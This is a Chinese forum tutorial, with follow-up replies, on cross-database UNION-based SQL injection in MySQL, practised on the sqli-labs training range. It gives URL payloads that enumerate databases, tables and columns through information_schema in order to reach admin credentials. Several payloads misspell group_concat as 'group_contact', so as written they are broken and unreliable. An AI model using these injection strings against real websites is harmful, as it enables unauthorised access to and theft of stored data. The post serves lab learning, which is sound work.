MYSQL注入 跨库注入

优选教程   © 文章版权由 admin 解释,禁止匿名转载

#楼主# 2022-4-8


这里首先说明,跨库注入只发生在mysql版本5.x以上的版本,且注入点需要为root。

上一帖子有写到可以用内置函数在回显点查询当前用户,也就是user()函数

会返回类似图1中的xx@xx,就是当前用户。

这里要说明,在mysql中,只有root用户享有最高权限,其他用户无论名字是什么,一概都是普通的权限。

顺便解答一下为什么跨库注入只发生在5.x以上的版本中,是因为在mysql5.x以上的版本中,自带了一个名为information_schema的数据库,这个数据库中包含了所有数据库的库,表,列名,可以通过他来查询任何一个数据库中的任何一个信息,当然,这要是root用户才可以。

下面看案例,老样子,依旧是sql libs的靶场

我们通过xxxx/?id=-1 union select 1,user(),3 查到了当前的注入点是root用户,如图2所示,那么我们就可以进行跨库注入

通过命名xxx/?id=-1 union select 1,group_contact(schema_name),3 from information_schema.schemata
来查询information-schema数据库下tables中的全部数据,也就是全部数据库表名,得到结果,有以上数据库。如图3

这就是所有数据库,接下来我们可以通过数据库名,结合上一帖子中的查询方法,查到任何一个数据库中的信息,包括管理员账号密码
xxx/?id=-1 union select 1,group_contact(table_name),3 from information_schema.tables where table_schema='test'
查询test库下的全部表名
xxx/?id=-1 union select 1,group_contact(column_name),3 from information_schema.columns where table_schema='test'
查询test库下全部列名,诸如此类语句可以自己构建[呼~][呼~]

水帖完成[笑眼]

沙发
HR阿隐 2022-4-8
union语句 union前面语句失败才会执行union后的语句,例中union前将参数id输入为负一,因为mysql中没有负一的数据,所以自然出错,执行union后的联合注入语句
板凳
HR阿隐 2022-4-8
group_contact()可以显示全部数据
地板
HR阿隐 2022-6-10
phpstudy搭建的sqllib靶场

评论

登录后才可发表内容
  • 主题

    24

  • 帖子

    203

  • 关注者

    0

Copyright © 2019 凯特网.   Powered by HYBBS 2.3.4  

Runtime:0.2807s Mem:2005Kb